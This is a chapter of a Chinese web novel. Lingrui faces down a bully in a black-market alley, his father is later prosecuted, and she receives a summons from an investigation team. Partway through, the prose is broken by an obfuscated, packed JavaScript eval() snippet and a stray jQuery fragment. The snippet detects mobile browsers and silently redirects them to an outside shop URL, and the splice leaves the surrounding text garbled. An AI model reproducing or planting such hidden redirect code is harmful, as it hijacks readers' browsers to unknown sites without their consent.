“没什么大事,就是来提醒你,你在黑市搞的那些东西不会有好果子吃,审查组还在过渡地带,查完外围查黑市,你以为你能一直躲在那个老太婆后面?等审查组的人来找你问话的时候,你就知道什么叫真正的大人物了。我爸说了,这次审查组查的就是你们这种人。”
他说最后几个字的时候声音提高了半度,眼神快速往旁边扫了一下。
凌芮差点笑出声来。
“我爸说了”这种话,简直像是在学校说要告老师。
“你在玛格那里讨不了好。”科尔特又开口了,这次声音比之前更高了一点,“你以为她能护你一辈子?等我爸把她的底细查清楚,到时候你连端盘子的地方都没有。”
科尔特往前迈了一步,这一步迈得有点大,脚尖踩到了凌芮放在墙角的布袋边缘。
“踩到我的书了。”凌芮说。
“踩了又怎么……”
“科尔特。”凌芮叫了他的名字,语气不重,像是在叫一个不太熟的同学,“你刚才说你爸要查玛格,你爸在采集工厂当小主管,管几条情绪采集流水线,你有没有问过他,近几年的稳定剂损耗率是多少。”
科尔特的笑意还在脸上,但变薄了,像是被风吹了一下。
“你什么意思?”
“你不懂损耗率这个词?那我换个简单的,你爸克扣了多少本该分给工人的稳定剂配额,转手卖给了谁,你心里没数?你脚上这双新鞋,挺贵的吧,买这么一双鞋的钱,大概够采集工厂一个工人吃两个月。”
凌芮把目光从他鞋子上收回来,重新落在科尔特脸上,“所以你这双鞋,是你爸从工人身上刮下来的,你穿着它来踩别人的书,挺合适。”
科尔特的嘴张开了。
他想说“你胡说”,但这三个字没发出声音。
他不一定知道他爸具体克扣了多少稳定剂,但他知道家里这几年日子过得不错。
新鞋是上周在过渡地带的商店里买的,父亲付现金,没走工厂的配给账户。
这种细节经不起推敲。
他身后的瘦高个下巴明显往下沉了半寸,交叉在胸前的手臂松开了,变成了一种不太确定该往哪放的垂挂。
那个矮胖在“工人身上刮下来的”这句话后面发出了一声极轻的、不自主的咋舌声。
“你家的钱怎么来的,你自己清楚。”凌芮没停,“你爸的权限范围是采集工厂,不是黑市,你今天来黑市找我的茬,是不是觉得你爸在采集工厂当个小主管,就能在黑市横着走了?你也不想想,黑市的掮客哪一个不从采集工厂拿货?你爸的稳定剂是通过谁出手的,你大概不知道。”
“那些人跟你爸做了几年的生意,从来没见过他儿子,今天你把脸露在这里,你觉得那些跟你爸合作的人,会夸你有种吗?”
她说到这里停下来,把布袋往墙边挪了半寸。
动作很轻,但却让巷口的空气突然变得很重。
科尔特的脸从红变白再变青,最后变成一种不太好看的灰。
他的嘴还在动,但发不出完整的音节。
他身后那个矮胖终于开口了,声音压得很低,但在这条窄巷子里,每个字都听得很清楚。
“你爸没说过这些。”
“闭嘴。”科尔特转过头冲他吼了一声,声音破音了,像一只被踩了尾巴的猫。
他身后的瘦高个看着他这副样子,把刚才松开的双臂重新交叉回胸前,他看着科尔特的背影,嘴角往下撇了撇,是那种被拖进麻烦里想撤又撤不掉的烦躁。
矮胖被吼了之后,把手里攥着的那根钢管往地上一杵,发出一声清脆的金属响。
巷口卖杂粮饼的大婶放下铲子,把围裙擦了擦,靠在推车边安静地看着这一幕。她旁边那个正在摘菜的年轻女人也停下来了,手里还攥着一把青菜。
“你们几个,”大婶忽然开口,声音不大,但每个字都带着某种年长者的权威,像一个看够了小孩子胡闹的家长终于决定介入,“要吵到别处吵,我摊子还要做生意。”
她说完没有看科尔特,而是看着凌芮,用铲子轻轻敲了一下铁板,响起一声清脆的撕拉声。
科尔特转过身,往后退了一步,然后大步流星地走了。
他身后的瘦高个快步跟上,从他身边经过的时候低声说了一句什么,语气很是埋怨。
矮胖最后一个走,钢管拖在地上刮出一串刺耳的声响,他经过大婶推车的时候嘟囔了一声“早知道不来了”。
三个人走的方向不太一致,科尔特走的是巷口,瘦高个绕到大婶推车另一边,矮胖干脆拐进了另一条岔巷,像三颗被弹弓打散的弹珠,各自弹向不同的方向。
凌芮弯腰把布袋捡起来,拍了拍被踩脏的那个角,脚印拍掉了,布面上还留了一小片灰印,但书没事。
“没受伤吧?”大婶问。
“没有。”凌芮把布袋重新扛上肩,冲大婶点了点头,然后继续往栖心走,她没有回头看科尔特离开的方向。
在她看来这件事已经结束了,一个仗着家里有点小权就以为自己是个人物的蠢货,在黑市的巷子里被几句话剥了一层皮,灰溜溜地走了。
这种人她在酒吧端盘子的时候见多了,当面骂你两句,背后跟别人说“我才不怕她”,然后绕着你走。
他不会再来找麻烦。
就算来,也不过是换一种更难看的姿势再灰溜溜一次。
她甚至懒得把这件事告诉任何人。
但巷口发生的事,玛格还是知道了。
大婶的消息传得比风快,而且传的版本比现场更精确。
那句关于“把玛格的生意捅到委员会”的威胁,一字不差地进了玛格的耳朵。
几天后,凌芮在酒吧上班的时候,格雷从柜台上翻出一张皱巴巴的报纸递给她。
是外围行政区的社区小报,这种报纸平时只登一些工厂招工启事和药品配额调整通知,但今天头版右下角有一块巴掌大的新闻,标题是《采集工厂前主管涉职务侵占被外围行政法庭立案》。
内容很短,措辞官方,大概就是说采集工厂前中层管理人员科尔特被匿名举报,涉嫌利用职务之便克扣稳定剂配额并转卖牟利,经外围行政法庭初步核查属实,已正式立案。
报道末尾顺便提了一句,其父因管理失察被采集工厂免职,全家已从工厂家属区迁出。
“这就是那个小混混?”格雷问她。
凌芮看着那几行铅字。
匿名举报。
她想起那天在仓库里玛格说的那句话。
帮过的人多了,有时候别人也会顺手帮你的忙。
她以为那只是一句闲谈。
但那句闲谈足够把一个人从采集工厂的家属区连根拔起。
科尔特恐怕没有想到,他随口的一句威胁,等于威胁了整条供应链上的所有人。
他不光是得罪了玛格,他还让他父亲的合作伙伴们都不再安全。
“他上次说要捅到委员会去。”凌芮把报纸放回柜台上。
“捅到了?”格雷问。
“没有,以后也不会了。”
下午她去找玛格交校准报告的时候,仓库里和平时一样安静。
冷白灯管嗡嗡响,恒温柜还在老位置,校准台上放着新到的几盒神经连接液。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607217|205333||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玛格坐在椅子上翻账本,看到她进来,抬头冲她点了点头,从桌上拿起一颗薄荷糖递过来。
“今天校准的客户怎么样。”玛格问。
“还行,是个老感潮者,神经痉挛比上次轻了很多,再做两次应该能稳定。”
“那就好,你这几周接的单不少,要不要休息几天,陪陪你朋友,栖心那边也安稳,时间灵活,你不用担心。”
凌芮把糖剥开塞进嘴里,靠在椅背上看着玛格。
她等了好久,也没见玛格在她面前提科尔特。
“那个书。”玛格又开口了,“你朋友看了吗。”
“看了,她说第三本最好看,扉页上写名字的那个人应该是个很有意思的人。”
“那个人以前也是做档案的,在委员会做,后来不在上层了。”玛格翻过一页账本,没有继续说下去。
凌芮也没有追问,她靠回椅背,把薄荷糖从左边换到右边。
甜的。
接下来几天,黑市的空气变了。
巷口卖杂粮饼的大婶不再跟人闲聊了,低着头翻饼,铲子在铁板上刮得比平时快。
老伍把柜台下面的药瓶重新理了一遍,把没有批号的仿制品全藏进了仓库的暗格里。
连酒吧老板都减少了哼歌的频率,擦杯子的时候不再自言自语,只是偶尔抬头看一眼窗外空荡荡的巷口。
采集工厂门口的制服还在,药铺的进货渠道被卡得更死,科尔特的案子在外围行政法庭正式立案,审查组开始对过渡地带的所有非注册医疗点进行排查。
玛格的校准室已经清空了,客户名单销毁了一大半,剩下的藏在恒温柜的夹层里。
她每天照常坐在椅子上翻账本,吃薄荷糖,发号施令,但她的跑腿们最近走路的声音比平时更轻了,像一群察觉到了猫的气味的老鼠。
凌芮在这种沉闷的空气里照常过日子。
上午去酒吧擦桌子,下午去玛格那边帮忙搬货,周末去茶室给塞斯校准。
塞斯的神经指标在持续校准下稳步好转,但他最近几次见面时话明显少了,偶尔会在校准结束后多坐几分钟,欲言又止,然后站起来说一声“下周见”就走。
传唤通知就是在这个时候送到的。
一个灰蒙蒙的下午,凌芮推开公寓门,看到地上躺着一张对折的纸条。
是被人从气窗的缝隙里投进去的,落在搪瓷缸旁边,差点碰到野花的花瓣。
她弯腰把纸条捡起来,展开。
纸张很白,比黑市流通的任何纸张都白,折叠处平整,撕边干净,上面只有短短一行字。
用的是官方电子平板的打印字体:请于次日下午到外围行政中心审查组临时办公室配合调查。落款是审查组行政事务处。
凌芮拿着纸条站在门口,翻来覆去看了几遍。
居民登记系统查到她的住处不难,她虽然在委员会的档案里是未登记者,但在黑市有自己的居民编号。
问题是她平时跟外围行政中心没有任何交集,酒吧端盘子不需要登记,玛格的校准业务也不走官方渠道。
唯一能让她跟委员会产生关联的事情只有一件。
帮怀特寄过一封申诉信。
那封信用的是外围行政中心的官方申诉渠道,信封上留了她的地址,因为她帮怀特垫付了回邮费用,也作为联系人填了名字。
怀特的申诉信写了八年都没人理,她寄出去的时候根本没指望有回音。
但如果有回音,如果这封信被递到了审查组的手里,那他们顺着收件地址找到她,只需要打开一个登记簿。
她走到怀特门口敲了两下。